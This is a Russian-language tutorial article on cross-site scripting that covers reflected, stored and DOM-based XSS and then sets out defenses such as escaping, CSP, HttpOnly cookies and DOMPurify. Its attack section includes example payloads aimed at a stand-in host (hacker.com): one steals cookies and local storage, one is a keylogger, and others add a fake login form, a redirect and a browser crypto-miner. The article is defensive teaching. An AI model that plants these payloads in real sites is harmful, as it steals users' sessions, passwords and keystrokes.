🛡️ XSS Атака: Полное Руководство

Всё о Cross-Site Scripting: что это, как работает, примеры атак и методы защиты

Илья Афанасьев

Илья Афанасьев

Эксперт по SEO, безопасности и программированию

15+ лет опыта в IT. Лично разработал более 300 сайтов и программ.

VK Telegram

🎯 Что такое XSS (Cross-Site Scripting)?

XSS (Cross-Site Scripting) — это один из самых распространенных типов веб-атак, при которой злоумышленник внедряет вредоносный JavaScript-код на веб-страницу, который затем выполняется в браузере ничего не подозревающих пользователей.

⚠️

Важно! XSS находится в топ-3 самых опасных веб-уязвимостей по версии OWASP (Open Web Application Security Project) и встречается примерно на 30% всех веб-сайтов.

30% сайтов уязвимы к XSS
$3.86M средняя стоимость утечки данных
280 дней до обнаружения атаки
TOP-3 в рейтинге OWASP

📚 История термина

Изначально атака называлась "CSS" (Cross-Site Scripting), но аббревиатуру изменили на "XSS", чтобы избежать путаницы с Cascading Style Sheets (каскадные таблицы стилей).

🔍 Типы XSS атак

1️⃣ Reflected XSS (Отраженный)

Самый распространенный тип XSS. Вредоносный код передается через URL и "отражается" обратно на страницу без надлежащей валидации.

Пример уязвимого кода:

JavaScript ❌ Опасно
// УЯЗВИМЫЙ код
const name = getUrlParameter('name');
document.getElementById('greeting').innerHTML = 'Привет, ' + name;

URL атаки:

URL
site.com?name=<script>alert('XSS')</script>

Результат:

HTML
<div id="greeting">
Привет, <script>alert('XSS')</script>
</div>
<!-- JavaScript выполнится! -->

2️⃣ Stored XSS (Хранимый)

Самый опасный тип. Вредоносный код сохраняется на сервере (в базе данных) и выполняется каждый раз, когда пользователь просматривает зараженную страницу.

Сценарий атаки:

JavaScript ❌ Опасно
// УЯЗВИМЫЙ код - сохранение комментария
const comment = document.getElementById('comment').value;
saveToDatabase(comment); // Сохраняем без очистки

// При выводе:
commentElement.innerHTML = commentFromDB; // XSS!

Вредоносный комментарий:

JavaScript
"Отличная статья! <script>
fetch('https://hacker.com/steal?cookie=' + document.cookie)
</script>"
💀

Опасность Stored XSS: Атакаможет затронуть тысячи пользователей, так как вредоносный код выполняется автоматически при каждом просмотре страницы. Это делает Stored XSS самым опасным типом атаки.

3️⃣ DOM-based XSS

Атака происходит полностью на стороне клиента, когда JavaScript-код обрабатывает данные из небезопасного источника (например, URL) и динамически изменяет DOM.

Пример уязвимости:

JavaScript ❌ Опасно
// УЯЗВИМЫЙ код
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;

URL атаки:

URL
site.com#<img src=x onerror="alert('XSS')">

🎭 Что могут украсть хакеры через XSS?

1. 🍪 Кража Cookies (Сессий)

Самая распространенная цель атаки — кража cookies для захвата пользовательской сессии.

Вредоносный код:

JavaScript ❌ Вредоносный
<script>
    fetch('https://hacker.com/steal', {
        method: 'POST',
        body: JSON.stringify({
            cookies: document.cookie,
            localStorage: localStorage,
            sessionStorage: sessionStorage,
            url: window.location.href
        })
    });
</script>

Последствия:

  • 🔓 Взлом аккаунта — доступ к личному кабинету жертвы
  • 💳 Кража финансовых данных — номера карт, банковские счета
  • 📧 Доступ к переписке — чтение личных сообщений
  • 🎯 Целевой фишинг — персонализированные атаки на основе украденных данных

2. ⌨️ Кейлоггинг (Запись нажатий клавиш)

Запись всех нажатий клавиш пользователя для кражи паролей, номеров карт и другой конфиденциальной информации.

Код кейлоггера:

JavaScript ❌ Вредоносный
<script>
    let keystrokes = '';

    document.addEventListener('keypress', function(e) {
        keystrokes += e.key;

        // Отправка каждые 10 символов
        if (keystrokes.length >= 10) {
            fetch('https://hacker.com/log', {
                method: 'POST',
                body: keystrokes
            });
            keystrokes = '';
        }
    });
</script>

Что украдут:

  • 🔑 Пароли от всех сервисов
  • 💳 Номера банковских карт
  • 📧 Email адреса и логины
  • 📝 Конфиденциальные сообщения

3. 🎣 Фишинг (Подмена форм)

Замена легитимной формы входа на поддельную для кражи учетных данных.

Подмена страницы входа:

JavaScript ❌ Вредоносный
<script>
    // Полная подмена страницы
    document.body.innerHTML = `
        <div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; 
                    background: white; z-index: 99999; display: flex; 
                    justify-content: center; align-items: center;">
            <div style="max-width: 400px; padding: 40px; box-shadow: 0 0 50px rgba(0,0,0,0.1);">
                <h1>⚠️ Сессия истекла</h1>
                <p>Пожалуйста, войдите снова для продолжения работы</p>
                <form action="https://hacker.com/phishing" method="POST">
                    <input type="text" name="username" placeholder="Логин" required>
                    <input type="password" name="password" placeholder="Пароль" required>
                    <button type="submit">Войти</button>
                </form>
            </div>
        </div>
    `;
</script>
🎯

Почему это работает: Пользователь видит знакомый интерфейс на доверенном домене и не подозревает о подмене. Данные отправляются злоумышленнику, а затем пользователя перенаправляют на реальную страницу входа.

4. 🔄 Редирект на вредоносный сайт

Автоматическое перенаправление пользователя на фишинговый сайт или сайт с вредоносным ПО.

JavaScript ❌ Вредоносный
<script>
    // Немедленный редирект
    window.location.href = 'https://hacker.com/malware';

    // Или с задержкой для обхода защиты
    setTimeout(function() {
        window.location.href = 'https://fake-bank-site.com';
    }, 3000);
</script>

5. ⛏️ Криптомайнинг в браузере

Использование вычислительной мощности браузера жертвы для майнинга криптовалюты.

JavaScript ❌ Вредоносный
<script src="https://hacker.com/coinhive.js"></script>
<script>
    // Ваш браузер майнит криптовалюту для хакера
    var miner = new CoinHive.Anonymous('hacker-wallet-key');
    miner.start();

    // Используется 100% CPU
    miner.setThrottle(0);
</script>

Последствия для жертвы:

  • 🔥 Перегрев компьютера/телефона
  • 🔋 Быстрый разряд батареи
  • 🐌 Замедление работы системы
  • 💰 Увеличение счетов за электричество

🔬 Анализ безопасности нашего кода транслита

Хорошие новости: Наш код транслитератора изначально защищен от XSS атак благодаря правильному использованию DOM API.

❌ Опасные методы (НЕ используются у нас)

JavaScript ❌ Опасно
// ❌ ОПАСНЫЙ код (создает XSS уязвимость):
element.innerHTML = userInput;        // XSS!
document.write(userInput);           // XSS!
eval(userInput);                     // XSS!
setTimeout(userInput, 1000);         // XSS!
new Function(userInput)();           // XSS!
element.insertAdjacentHTML('beforeend', userInput); // XSS!

✅ Безопасные методы (используются у нас)

Правильная реализация:

JavaScript ✅ Безопасно
// ✅ БЕЗОПАСНЫЙ код (защита от XSS):

// 1. Для input/textarea полей
outputText.value = result;  // ✅ Безопасно - текст НЕ интерпретируется как HTML

// 2. Для обычных элементов
element.textContent = userInput;  // ✅ Безопасно - только текст

// 3. Для счетчиков
charCount.textContent = inputText.length;  // ✅ Безопасно

// 4. Для создания элементов
const div = document.createElement('div');
div.textContent = userInput;  // ✅ Безопасно
document.body.appendChild(div);

🛡️ Почему наш код защищен

Ключевые моменты безопасности:

  • Используем .value — данные в textarea не интерпретируются как HTML
  • Используем .textContent — весь ввод обрабатывается как простой текст
  • Нет innerHTML — исключается возможность внедрения HTML/JavaScript
  • Нет eval() — не выполняется произвольный код
  • Нет опасных событий — не используем on* атрибуты динамически

🧪 Тест: Попытка XSS атаки на наш код

Тестирование
// Попытка внедрить вредоносный код:
const maliciousInput = '<script>alert("XSS")</script>';

// Наш код:
outputText.value = maliciousInput;

// Результат в браузере:
// Отображается: <script>alert("XSS")</script>
// НЕ выполняется как код! ✅

// Если бы использовали innerHTML (ОПАСНО):
outputText.innerHTML = maliciousInput;
// Результат: alert выполнился бы! ❌

🛡️ Методы защиты от XSS

1. Санитизация входных данных

Очистка и фильтрация пользовательского ввода перед отображением или сохранением.

Функция санитизации:

JavaScript ✅ Защита
// Простая санитизация
function sanitizeInput(input) {
    if (typeof input !== 'string') return '';

    return input
        .replace(/[<>]/g, '')           // Удаляем < и >
        .replace(/javascript:/gi, '')  // Удаляем javascript:
        .replace(/on\w+=/gi, '')        // Удаляем on* события
        .trim();
}

// Использование библиотеки DOMPurify (рекомендуется)
import DOMPurify from 'dompurify';

const dirty = '<script>alert("XSS")</script><p>Текст</p>';
const clean = DOMPurify.sanitize(dirty);
// Результат: '<p>Текст</p>' (скрипт удален)

2. Экранирование HTML

Преобразование специальных символов в HTML-сущности.

Функция экранирования:

JavaScript ✅ Защита
function escapeHtml(text) {
    const map = {
        '&': '&amp;',
        '<': '&lt;',
        '>': '&gt;',
        '"': '&quot;',
        "'": '&#039;',
        '/': '&#x2F;'
    };
    return String(text).replace(/[&<>"'\/]/g, (m) => map[m]);
}

// Пример использования:
const userInput = '<script>alert("XSS")</script>';
const safe = escapeHtml(userInput);
console.log(safe); 
// Результат: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

3. Content Security Policy (CSP)

Механизм безопасности, который помогает предотвратить XSS атаки, ограничивая источники, из которых можно загружать ресурсы.

Настройка CSP:

HTML ✅ Защита
<!-- Метод 1: Мета-тег -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self'; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:;
               connect-src 'self';
               font-src 'self';
               object-src 'none';
               media-src 'self';
               frame-src 'none';
               base-uri 'self';
               form-action 'self';">
Node.js (Express) ✅ Защита
// Метод 2: HTTP заголовок на сервере
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", "data:", "https:"],
        connectSrc: ["'self'"],
        fontSrc: ["'self'"],
        objectSrc: ["'none'"],
        mediaSrc: ["'self'"],
        frameSrc: ["'none'"]
    }
}));

Что блокирует CSP:

  • ❌ Inline скрипты (<script>alert('XSS')</script>)
  • ❌ Inline события (<img onerror="...">)
  • ❌ Скрипты с внешних доменов
  • eval() и new Function()
  • javascript: протокол в ссылках

4. HTTPOnly и Secure Cookies

Защита cookies от доступа через JavaScript и передача только по HTTPS.

Безопасные cookies:

Node.js (Express) ✅ Защита
// На сервере
res.cookie('sessionId', 'abc123xyz', {
    httpOnly: true,      // ✅ JavaScript НЕ может прочитать
    secure: true,        // ✅ Только через HTTPS
    sameSite: 'strict',  // ✅ Защита от CSRF
    maxAge: 3600000,      // 1 час
    path: '/',
    domain: '.example.com'
});

// Проверка на клиенте (НЕ сработает):
console.
log(document.cookie); 
// sessionId НЕ будет видна - защищена httpOnly ✅

5. Валидация и санитизация на сервере

Никогда не полагайтесь только на клиентскую валидацию — всегда проверяйте данные на сервере.

Серверная валидация:

Node.js (Express) ✅ Защита
const express = require('express');
const validator = require('validator');
const xss = require('xss');

app.post('/comment', (req, res) => {
    let comment = req.body.comment;

    // 1. Проверка типа данных
    if (typeof comment !== 'string') {
        return res.status(400).json({ 
            error: 'Неверный формат данных' 
        });
    }

    // 2. Проверка длины
    if (comment.length > 5000 || comment.length < 1) {
        return res.status(400).json({ 
            error: 'Неверная длина комментария' 
        });
    }

    // 3. Очистка от HTML тегов
    comment = validator.escape(comment);

    // 4. Дополнительная XSS защита
    comment = xss(comment);

    // 5. Проверка на SQL инъекции (если используется)
    if (validator.contains(comment, 'DROP TABLE')) {
        return res.status(400).json({ 
            error: 'Подозрительная активность' 
        });
    }

    // 6. Сохранение в БД (используйте параметризованные запросы)
    const query = 'INSERT INTO comments (text, user_id) VALUES (?, ?)';
    db.execute(query, [comment, req.user.id], (err, result) => {
        if (err) {
            return res.status(500).json({ 
                error: 'Ошибка сервера' 
            });
        }
        res.json({ 
            success: true, 
            message: 'Комментарий добавлен' 
        });
    });
});

6. Использование современных фреймворков

Современные фреймворки (React, Vue, Angular) автоматически защищают от XSS.

React пример:

React (JSX) ✅ Защита
import React from 'react';

function UserComment({ comment }) {
    // ✅ React автоматически экранирует данные
    return (
        <div className="comment">
            {comment}  {/* Безопасно! */}
        </div>
    );
}

// ❌ ОПАСНО: Использование dangerouslySetInnerHTML
function UnsafeComponent({ htmlContent }) {
    return (
        <div 
            dangerouslySetInnerHTML={{ __html: htmlContent }} 
        />
    );
}

// ✅ БЕЗОПАСНО: Используйте DOMPurify
import DOMPurify from 'dompurify';

function SafeHtmlComponent({ htmlContent }) {
    const clean = DOMPurify.sanitize(htmlContent);
    return (
        <div 
            dangerouslySetInnerHTML={{ __html: clean }} 
        />
    );
}

7. Ограничение прав доступа

Применяйте принцип наименьших привилегий — давайте пользователям только необходимые права.

Рекомендации:

  • 🔒 Разделение ролей: Администратор, модератор, обычный пользователь
  • 🛡️ Ограничение функционала: Обычные пользователи не могут публиковать HTML
  • 📝 Модерация контента: Проверка контента перед публикацией
  • ⚠️ Rate limiting: Ограничение количества запросов
  • 🔍 Логирование: Запись всех подозрительных действий

📊 Сравнение: С защитой vs Без защиты

Аспект безопасности Без защиты ❌ С защитой ✅
Метод вывода данных innerHTML value / textContent
Content Security Policy Отсутствует Настроен
Санитизация ввода Не выполняется Выполняется
Экранирование HTML Нет Есть
Валидация длины Отсутствует Лимит 5000 символов
HTTPOnly cookies Не используются Используются
Серверная валидация Отсутствует Обязательна
Использование eval() Возможно Запрещено
Inline события Разрешены Заблокированы CSP
Внешние скрипты Любые источники Только доверенные домены
💡

Статистика: Веб-сайты с комплексной защитой от XSS на 95% менее уязвимы к атакам по сравнению с сайтами без защиты.

🎓 Лучшие практики безопасности

✅ Всегда делайте:

  • Валидируйте все входные данные — на клиенте И на сервере
  • Используйте параметризованные запросы — защита от SQL инъекций
  • Экранируйте HTML — перед выводом пользовательских данных
  • Применяйте CSP — Content Security Policy заголовки
  • Используйте HTTPOnly cookies — для сессий
  • Обновляйте зависимости — регулярно проверяйте на уязвимости
  • Проводите аудит безопасности — минимум раз в квартал
  • Используйте HTTPS — везде и всегда
  • Ограничивайте права доступа — принцип наименьших привилегий
  • Логируйте подозрительную активность — для анализа инцидентов

❌ Никогда не делайте:

  • Не используйте innerHTML для пользовательских данных
  • Не используйте eval() — никогда!
  • Не доверяйте клиентской валидации — её можно обойти
  • Не храните пароли в открытом виде — всегда хешируйте
  • Не игнорируйте предупреждения безопасности — в npm audit, Snyk и т.д.
  • Не используйте устаревшие библиотеки — проверяйте версии
  • Не отключайте CSP "для удобства" — безопасность важнее
  • Не публикуйте API ключи — в коде или Git репозитории
  • Не используйте document.write() — устаревший и опасный метод
  • Не смешивайте HTTP и HTTPS — mixed content уязвимость

🔧 Инструменты для тестирования безопасности

Рекомендуемые инструменты:

  • 🔍 OWASP ZAP — сканер уязвимостей веб-приложений
  • 🛡️ Burp Suite — платформа тестирования безопасности
  • 📦 npm audit — проверка зависимостей Node.js
  • 🔐 Snyk — мониторинг безопасности зависимостей
  • 🎯 XSStrike — специализированный XSS сканер
  • 🔬 Mozilla Observatory — анализ HTTP заголовков безопасности
  • 📊 SecurityHeaders.com — проверка заголовков безопасности
  • 🧪 XSS Hunter — поиск blind XSS уязвимостей

🎓 Заключение и выводы

XSS атаки остаются одной из самых распространенных угроз веб-безопасности, но их можно эффективно предотвратить, следуя правильным практикам разработки.

95% XSS можно предотвратить
3 основных типа XSS атак
100% сайтов нуждаются в защите
24/7 мониторинг безопасности

🔑 Ключевые выводы:

  • 1. Используйте безопасные методы: .value и .textContent вместо .innerHTML
  • 2. Внедрите CSP: Content Security Policy блокирует большинство XSS атак
  • 3. Валидируйте на сервере: Клиентская валидация легко обходится
  • 4. Экранируйте данные: Всегда экранируйте пользовательский ввод перед выводом
  • 5. Защищайте cookies: Используйте HttpOnly, Secure и SameSite флаги
  • 6. Регулярно обновляйте: Держите зависимости в актуальном состоянии
  • 7. Тестируйте безопасность: Проводите регулярные аудиты и пентесты
  • 8. Обучайте команду: Разработчики должны знать об угрозах безопасности

Помните: Безопасность — это не разовое действие, а непрерывный процесс. Регулярно обновляйте свои знания, следите за новыми угрозами и применяйте лучшие практики в каждом проекте.

📚 Дополнительные ресурсы:

🚀 Хотите узнать больше о веб-безопасности?

Подпишитесь на нашу рассылку и получайте актуальные материалы о защите веб-приложений, новых угрозах и лучших практиках безопасности.

Подписаться на рассылку